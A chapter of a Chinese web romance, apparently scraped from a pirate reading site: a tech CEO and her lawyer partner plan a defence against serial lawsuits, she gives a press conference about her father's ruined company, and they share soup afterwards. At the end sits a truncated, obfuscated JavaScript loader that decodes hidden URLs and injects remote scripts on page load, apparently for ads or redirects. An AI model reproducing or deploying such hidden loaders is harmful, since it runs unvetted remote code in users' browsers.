首页
第421章 我的软肋,是你教
返回
关灯 护眼:关 字号:小

第421章 我的软肋,是你教会我的铠甲

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第421章我的软肋,是你教会我的铠甲(第1/2页)
    三个月后。深秋的北京,银杏叶铺满了金融街的人行道。
    苏砚站在落地窗前,手里捏着一份刚送达的律师函。窗外是CBD连成一片的玻璃幕墙,夕阳的余晖将整座城市染成金红色,像一块巨大的、正在冷却的烙铁。
    她的办公室在启明科技大厦的三十七层。这栋楼是她三年前以全款买下的,当时公司刚完成C轮融资,估值突破百亿。有人劝她租用更贵的核心地段,她只说了一句话——“核心技术在自己手里,地段也要在自己手里。”
    但现在,有人想把这栋楼从她手里拿走。
    “苏总,陆律师到了。”秘书的声音从内线传来。
    “让他进来。”
    门被推开,陆时衍穿着一件深灰色风衣走进来,手里拎着一个公文包和两杯咖啡。他把其中一杯放在苏砚桌上,自己毫不客气地在沙发上坐下。
    “看你的表情,应该已经猜到我要说什么了。”他开口。
    苏砚把律师函扔在桌上,纸张滑过胡桃木桌面,正好停在他面前。
    陆时衍没有拿起来,只是扫了一眼落款处的律所名称。
    “天诚律师事务所。”他念出那个名字,语气里有一种古怪的平静,“薛紫英留下的U盘里提到的那几个白手套,其中一个的核心法律顾问就出自这家所。”
    “动作比我们预想的快。”苏砚坐回办公椅,手指交叠放在膝盖上,“我本以为他们至少会蛰伏半年。”
    “资本不等人。”陆时衍说,“他们趁着你刚打完专利官司、公司内部还在重整的空档出手,时机选得很毒。这封律师函只是个开始,如果我没猜错,接下来会是连环诉讼——知识产权、商业诋毁、不正当竞争,什么名目都有。他们的目标不是打赢官司,而是拖垮你的现金流和注意力。”
    苏砚沉默了几秒,然后问了一句毫不相关的话:“你的新律所装好了吗?”
    陆时衍一愣。
    他的独立律所正在装修,地址选在离启明科技只有八百米的一栋老洋房里。手续已经办完,团队也基本搭建完毕,但办公室的装修还没收尾——他这段时间一边忙这个,一边帮着苏砚处理专利案最后的收尾工作,整个人瘦了一圈。
    “还差一层楼的木地板没铺。”他如实回答。
    “那你还跑来管我的事?”
    陆时衍看着她,忽然笑了。那笑容里有无奈,也有某种被看穿后的坦然。
    “苏砚,你知道我为什么把律所选在你公司附近吗?”
    苏砚端起咖啡,没有回答。
    “因为我知道打完那场官司,才是真正危险的开始。”陆时衍说,“导师倒了,但他背后的资本网络还在。那些人是被动了利益根基的饿狼,他们会用一切合法的手段来撕咬你。而我——”
    他顿了顿,声音低下来:“我不想再看到你一个人扛。”
    办公室里安静了几秒。
    窗外的夕阳又沉下去一点,房间里的光线从金红变成暗橘。
    苏砚放下咖啡杯,陶瓷底座碰到桌面的声音很轻,但在安静的房间里显得格外清晰。
    “陆时衍。”
    “嗯。”
    “你这段时间一直在我身边转悠,律所装修都不管了,是不是觉得我欠你人情?”
    陆时衍被她这句话噎了一下,然后笑出声来:“你这个女人,怎么永远都在算账?”
    “我是商人,不算账算什么?”苏砚面无表情,但眼底有一丝极淡的笑意,“不过既然你主动送上门,那我就不客气了。这桩案子,我委托给你。”
    “你本来也找不了别人。”陆时衍毫不谦虚,“这个案子的复杂程度和背景牵连,整个北京城敢接的律师不超过三个。另外两个一个在国外,一个退休了。”
    “所以你就吃定我了?”
    “我是想保护你。”陆时衍看着她的眼睛,语气认真起来,“苏砚,你不需要在我面前逞强。我们是——”
    “是什么?”
    陆时衍张了张嘴。
    距离那场庭审已经过去四个月,他们在最危险的时刻确认了彼此的心意,但谁都没有把那三个字真正说出口。不是不敢,而是觉得在那样的极端情境下表达的感情,需要一点平缓的时间来沉淀,来证明它不只是一时的冲动。
    “是搭档。”陆时衍最终选了这么一个词,“最默契的搭档。”
    苏砚看着他,眼神里有什么东西闪了一下,然后被她很好地藏了回去。
    “行,搭档。”她站起身,走到白板前拿起记号笔,“那就拿出搭档的样子。来吧,分析案情。”
    白板上很快被写满了密密麻麻的关键词。苏砚的笔迹刚劲有力,和她的性格如出一辙,每一个字都像是刻上去的。陆时衍坐在沙发上,一边喝咖啡一边补充细节,两人一个站着一个坐着,但节奏却惊人的一致——一个人说到一半,另一个人已经接上下一句。
    “天诚所的诉讼策略很老辣,他们会先从不正当竞争入手,因为这类的举证门槛最低。”
    “那就把我们的供应链合规记录全部公开,先堵死他们在这条线上的发挥空间。”
    “但他们真正的杀招应该在知识产权,有可能是指控你的新专利侵犯了他们背后客户的某项在先权利。”
    “我查过了,那个客户名下有三项相关专利,但都是我父亲当年公司的技术基础上改进的。如果能找到原始的技术档案,就能证明真正的权利源头在我这边。”
    “但档案在你父亲破产的时候被销毁了——薛紫英留下的U盘里有提到这一点。”
    “那就再造一份。”
    陆时衍抬头看她。
    苏砚转过身,手里的记号笔在指尖转了个圈:“我父亲当年的核心团队有七个人,六个人已经找到了,还有一个当年隐姓埋名去了南方。薛紫英的材料里提到了他的化名和现居城市。找到他,拿到他的口述记录和技术笔记,再加上我父亲留下的部分手稿,就能还原出当年的技术链条。”
    “多久?”
    “已经安排人去找了,最迟两周。”
    陆时衍放下咖啡杯,站起来走到白板前。他比苏砚高出一个头,站在她身旁的时候,影子将她整个人笼罩在里面。
    “苏砚,你有没有想过,这些证据不只是用来打官司的。”
    苏砚抬头看他。
    “这些证据一旦公开,不仅能在法庭上打赢,还能向社会证明一件事——启明科技的技术根基不是抄袭,不是窃取,而是从你父亲那一代就开始积累的。”陆时衍的声音不高,但每一个字都像是在法庭上做最后陈述,“你父亲的破产不是因为他不够优秀,而是因为他被一帮吃人不吐骨头的资本家围猎了。你把这份证据亮出来,不只是为自己正名,也是在为他正名。”
    苏砚握着记号笔的手指微微收紧。
    她想起了十岁那年的冬天。父亲的公司破产后,他们从别墅搬进了城中村的地下室。有一天晚上,父亲坐在昏暗的灯光下,对着厚厚的技术档案发呆,她在旁边写作业,听到父亲低声说了一句话。
    那句话,她到现在都记得。
    “砚砚,爸爸这辈子最对不起的人,是你和你妈。”
    那时候她还小,不太懂这句话的分量。后来她长大了,一步一步从底层爬上来,见过太多吃人不吐骨头的笑脸,被算计过、被背叛过、被轻视过,她才渐渐明白——父亲不是失败,是被吞噬。
    “陆时衍。”她开口,声音有一点点不自然的沙哑。
    “嗯。”
    “我有没有跟你说过,我为什么要把公司取名叫‘启明’?”
    陆时衍摇头。
    “因为启明星是在天最黑的时候,最先亮起来的那颗星。”苏砚看着白板上密密麻麻的文字,目光像是穿过了这些墨迹,看到了很远很远的地方,“我父亲破产那年,他带我去楼顶看星星。他指着一颗特别亮的星星跟我说,‘砚砚,你看,那就是启明星。天越黑,它越亮。’”
    她转过头,对上陆时衍的目光:“很多年以后我才明白,他那句话不是在教我天文学知识。他是在告诉我——苏砚,你要做那颗星。”
    办公室里安静得能听到墙上时钟的秒针走动。
    陆时衍看着她。夕阳最后的余晖落在她的侧脸上,将她的轮廓镀上一层淡淡的金色。这个从废墟里爬出来的女人,在说起父亲的时候,眼睛里有一种他从未见过的柔软,像是坚硬的铠甲被掀开了一条缝,露出里面仍然鲜活、仍然温热的血肉。
    他伸出手,轻轻握住了她垂在身侧的那只手。
    苏砚没有抽开。
    “你已经做到了。”陆时衍说,“你现在就是那颗星。不只是启明星,是恒星。”
    苏砚愣了一下,然后轻轻笑了一声。那笑声里有自嘲,也有某种被看穿后的释然。
    “恒星?恒星的寿命可是有限的。”
    “没关系。”陆时衍握紧她的手,“反正我也不是宇宙学家,算不准寿命。我只知道,在我能看见的范围内,你就是最亮的那一颗。”
    苏砚觉得自己的心跳漏了一拍。
    她想说点什么来打破这种让她浑身不自在的温柔,但她还没开口,陆时衍已经松开了手,退后一步,重新变回那个冷静理性的律师。
    “好了,继续说案子。天诚所的第三个可能方向是商业诋毁——他们可能会找媒体放出一些负面消息,在你的客户和投资人之间制造信任危机。”
    苏砚花了两秒钟调整呼吸,然后迅速跟上他的节奏:“这一手我预判到了。下周我们会发布新一轮的产品白皮书,同时邀请第三方机构做技术测评。公开透明是应对舆论战的最好武器。”
    “媒体那边需要我帮忙吗?我有几个法学院的师兄现在在做法律媒体,可以帮忙做一些正面解读。”
    “不用。”苏砚摇头,“你自己刚成立律所,不要为了我的事去消耗自己的人脉。媒体我这边有团队在处理。”
    “苏砚。”
    “嗯?”
    “这不是消耗。”陆时衍看着她,语气认真得不像是在讨论工作,“帮你做任何事,对我来说都不是消耗。你记住这一点。”
    苏砚沉默了。
    然后她转过身,重新拿起记号笔,在白板上飞快地写下几个关键词。
    “行,那我就不客气了。”她的声音恢复了平时的果决,“你负责法律策略和证据链梳理,我负责技术和媒体应对。每周一、周四碰头对进展,遇到突发情况随时联系。”
    “好。”
    “还有一件事。”
    “你说。”
    “你的律所不是还差一层木地板没铺吗?”苏砚从抽屉里拿出一张名片,放在桌上推过去,“这个供应商是我合作过三年的,质量和工期都有保障。我打过招呼了,明天就派人去铺。费用走我这边。”
    陆时衍拿起名片看了看,然后抬起头,眼里有笑意:“这算不算商业贿赂?”
    “算。”苏砚面不改色,“你去举报我。”
    两人对视一眼,同时笑出声来。
    那笑声在三十七层的办公室里回荡,窗外的晚霞已经褪去,城市的灯火次第亮起,像是有人在天际线上撒了一把碎钻。
    (本章未完,请点击下一页继续阅读)第421章我的软肋,是你教会我的铠甲(第2/2页)
    陆时衍把名片收进风衣口袋,拿起公文包准备离开。走到门口的时候,他忽然停下脚步,转过身。
    “苏砚。”
    “又怎么了?”
    “你刚才问我,我们是什么。”他靠在门框上,逆着灯光看她的脸,“我现在回答你。”
    苏砚看着他,等待下文。
    “我们不是搭档。”陆时衍说,“搭档是并肩走一段路,到了岔路口可以各自分开。但我不想跟你分开。”
    他的声音平稳,像是在陈述一个法律事实:“所以不是搭档。”
    “那是什么?”
    “你是苏砚,我是陆时衍。这两个名字放在一起,不需要再定义第三种关系。”
    他说完这句话,推开门走了出去。
    走廊里的感应灯随着他的脚步一盏一盏亮起来,又一盏一盏熄灭。苏砚站在原地,看着他的背影穿过玻璃门的倒影,消失在电梯间。
    她低下头,发现自己手里还握着那支记号笔。笔帽不知道什么时候被她攥掉了,墨水染黑了一小片指尖。
    她盯着那片墨迹看了很久,然后轻声说了一句只有自己能听到的话。
    “陆时衍,你说得对。”
    “有些人,不需要被定义。”
    ---
    一周后,启明科技的产品白皮书发布会如期举行。
    会场选在国际会议中心的二层宴会厅,三百个座位座无虚席,两侧的过道里还站满了临时赶来的媒体记者。苏砚穿着一套白色西装站在台上,身后是巨大的LED屏幕,上面滚动播放着启明科技最新一代AI芯片的技术参数。
    她说话的时候,整个会场安静得像一个巨大的录音棚,只有闪光灯偶尔发出的咔嚓声在提醒她,有无数双眼睛正通过镜头注视着这一刻。
    “有人说启明科技的核心技术是抄袭的。”苏砚的声音通过麦克风传遍整个会场,“有人说我们的专利是在别人的技术基础上改头换面。还有人说,我苏砚之所以能做到今天这个位置,靠的是——”
    她停下来,目光扫过台下。
    坐在第三排中间位置的是天诚律所派来的代表,一个戴着金丝眼镜的中年男人,表情阴沉,嘴角挂着一丝若有若无的冷笑。
    “靠的是运气。”苏砚继续说,“是靠踩着别人的肩膀往上爬。”
    台下响起一阵低低的议论声。
    “但我想告诉各位的是——”她按了一下手中的遥控器,大屏幕上切换出一组老照片。
    照片里是一个穿着九十年代款式工装的男人,站在一台笨重的服务器前,对着镜头笑得一脸憨厚。照片的右下角有时间戳:1998年3月。
    “这是我的父亲,苏正庭。”苏砚的声音忽然变得很轻,轻到台下的每一个人都不自觉地屏住了呼吸,想听得更清楚一些,“他是中国第一代人工智能算法的研究者。1998年,他带领团队研发出了‘动态数据加密技术’的原始架构——那一年,我六岁。”
    大屏幕上的照片一张张翻过。有父亲在实验室加班的照片,有手绘的算法流程图,有泛黄的专利申请文件,最后定格在一张报纸剪报上。
    《苏氏科技宣告破产,创始人失联》
    标题是加粗的黑体字,像一道触目惊心的疤痕。
    “那一年,我十岁。”苏砚说。
    整个会场鸦雀无声。
    坐在角落里的陆时衍看着她。台上的灯光将苏砚整个人照得发亮,她站在那些旧照片前面,像站在一条漫长时光隧道的出口,背后是无尽的黑暗,而她的眼睛里只有前方的光。
    他想起庭审那天她说的话——“我相信他。”
    当时她在说这句话的时候,是扑身护住他,面对着冲进来的杀手的。
    而现在她在说这些往事的时候,是站在三百人面前,面对着整个行业的质疑和资本的围猎。
    这个女人,从来都是一个人扛。
    不。
    不是一个人了。
    苏砚深吸一口气,重新抬起头,恢复了平时那种沉稳而犀利的语气。
    “我今天在这里公布这些历史资料,不是为了博取同情,也不是为了博眼球。我只是想告诉在场的每一位——启明科技的技术根基,不是从天而降的,也不是从别人手里偷来的。它是我父亲那一代人的梦想,被埋葬了二十年之后,又被我从废墟里挖出来,一点一点拼回去的。”
    她指向大屏幕,屏幕上出现了一行字:
    “二十年,两代人,一项技术,一个公道。”
    “天诚律所代表的那几位‘客户’,你们手里那几项所谓的在先专利,恰恰建立在我父亲当年的技术基础上。”苏砚的声音陡然拔高,带着一种不容置疑的力量,“你们以为销毁了当年的档案,就能让真相永远沉入水底。但你们低估了一件事——”
    她停顿了一秒。
    “一个女儿为父亲讨回公道的决心。”
    台下沉默了两秒,然后爆发出雷鸣般的掌声。
    那位戴金丝眼镜的中年男人脸色铁青,起身快步离开了会场。几个记者眼疾手快地追出去,快门声噼里啪啦响了一路。
    陆时衍没有鼓掌。他只是坐在角落里,看着台上的苏砚,嘴角微微上扬。
    这个女人,永远不会让他失望。
    发布会在四十分钟后结束。苏砚被记者和投资人团团围住,回答了无数个问题,签了三份合作意向书,和一个试图挖角她CTO的竞争对手面不改色地寒暄了十分钟。
    等所有人终于散去,已经是晚上九点。
    她一个人走回后台的休息室,推开门,发现陆时衍正坐在沙发上,面前摆着一盒还冒着热气的馄饨。
    “庆功宴上只喝了酒,没吃东西吧?”他把筷子递给她,“趁热吃。”
    苏砚愣在门口。
    “你怎么进来的?”
    “跟工作人员说我是你的律师。”陆时衍笑了笑,“他们没查证件就放行了。”
    “这是安保漏洞。”
    “是你的名字太好用。”他起身把她按在沙发上坐下,把筷子塞进她手里,“别嘴硬了,吃东西。”
    苏砚低头看着那碗馄饨。汤面上飘着紫菜和虾皮,馄饨皮薄得能看见里面的馅料,一个个圆滚滚地挤在一起,散发着温暖的食物香气。
    她忽然觉得鼻子有点酸。
    不是因为委屈,也不是因为感动,而是因为——她忽然意识到,有人在这里等她。
    在她打了胜仗之后,在她一个人扛下所有之后,有一个人没有走,没有站在人群里给她鼓掌,而是悄悄去买了馄饨,在空旷的休息室里等她。
    这个人甚至没有夸她刚才的发布会表现得有多精彩。
    他只是说——“趁热吃。”
    好像这才是最重要的事。
    “陆时衍。”
    “嗯?”
    “刚才在台上,我说那些话的时候——”苏砚夹起一个馄饨,没有看他,“我其实很害怕。”
    陆时衍在她身边坐下。
    “怕什么?”
    “怕别人觉得我在卖惨。怕媒体说我消费亡父。怕那些照片放出来,被人拿去断章取义。”她一口咬开馄饨,滚烫的汤汁烫得她嘶了一声,但还是咽下去了,“我苏砚在商场上从来不靠示弱活着。但今天,我说了最软的话。”
    “那不是软话。”陆时衍的声音很平静,“那是真话。真话从来不软。”
    苏砚转头看他。
    “你父亲如果能听到你今天说的话,他会很骄傲。”陆时衍说,“不是因为你打赢了官司,不是因为你的公司值多少钱。而是因为——你终于敢在所有人面前承认,你很在乎他。”
    苏砚没有说话。
    她低下头,又吃了一个馄饨。
    咀嚼的声音很轻,像是怕吵到这间屋子里某种安静的东西。
    等她吃到第六个馄饨的时候,陆时衍听到她说了一句话。
    声音被馄饨汤的热气裹着,有些模糊,但他听清了。
    “陆时衍,你知道吗。”
    “我父亲最后一次带我吃馄饨,是在他破产的前一天。”
    “那天的馄饨也是紫菜虾皮馅的。”
    “二十年来,我不敢吃这个味道。”
    “但今天——”
    她抬起头,眼眶是红的,但没有掉眼泪。
    “今天我可以吃了。”
    陆时衍看着她,伸出手,轻轻覆在她握着筷子的那只手上。
    “以后你想吃,我随时给你买。”
    苏砚的睫毛颤了颤,然后她低下头,用近乎凶狠的架势把剩下的馄饨一扫而光。
    连汤都喝得干干净净。
    陆时衍在一旁看着,心里忽然生出一个念头。
    如果说每个人都有自己的软肋,那苏砚的软肋从来都不是弱小,而是她不敢承认自己在乎。
    她怕在乎父亲,因为在乎就意味着承认自己一直没有走出那个十岁小姑娘的阴影。
    她怕在乎他,因为在乎就意味着要把自己最柔软的地方暴露给另一个人。
    但现在——
    她坐在休息室的沙发上,嘴角还沾着一点馄饨汤的油光,抬头看他,眼神里带着一种被烫到的、气鼓鼓的狼狈。
    她正在,一点一点地,把那些软肋变成铠甲。
    不是那种刀枪不入的铠甲。
    是那种愿意让一个人走进来的铠甲。
    陆时衍伸手抽了一张纸巾,递给她。
    “嘴角有油。”
    苏砚一把抢过纸巾,用力擦了擦嘴,然后把纸团扔进垃圾桶。
    “今天的事不许跟任何人说。”
    “说什么?”
    “说苏砚在发布会后狂吃馄饨。”
    “这不算丢人。”
    “我说算就算。”
    “好,不说。”
    苏砚站起身,拿起外套准备离开。走到门口的时候,她忽然停下来,转过身。
    “陆时衍。”
    “嗯。”
    “谢谢你的馄饨。”
    陆时衍笑了。他站起身,拿起自己的公文包跟在她身后,顺手关了休息室的灯。
    “不用谢。记得把馄饨钱算进律师费里抵扣。”
    “你想得美。”
    两人的脚步声在空旷的走廊里渐行渐远,被感应灯一盏一盏点亮,又一盏一盏熄灭。
    窗外的北京城灯火通明,那些亮着灯的写字楼里,还有无数像苏砚一样在战斗的人。
    但不是每个人,都能在战斗结束后,吃到一碗热馄饨。
    苏砚想,她大概是幸运的。
    幸运到在废墟里爬出来的第二十年,遇到一个人,愿意在深夜的休息室里,等她回来吃东西。
    幸运到终于敢承认——有些在乎,不叫软弱。
    叫铠甲。
    (章节完)
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 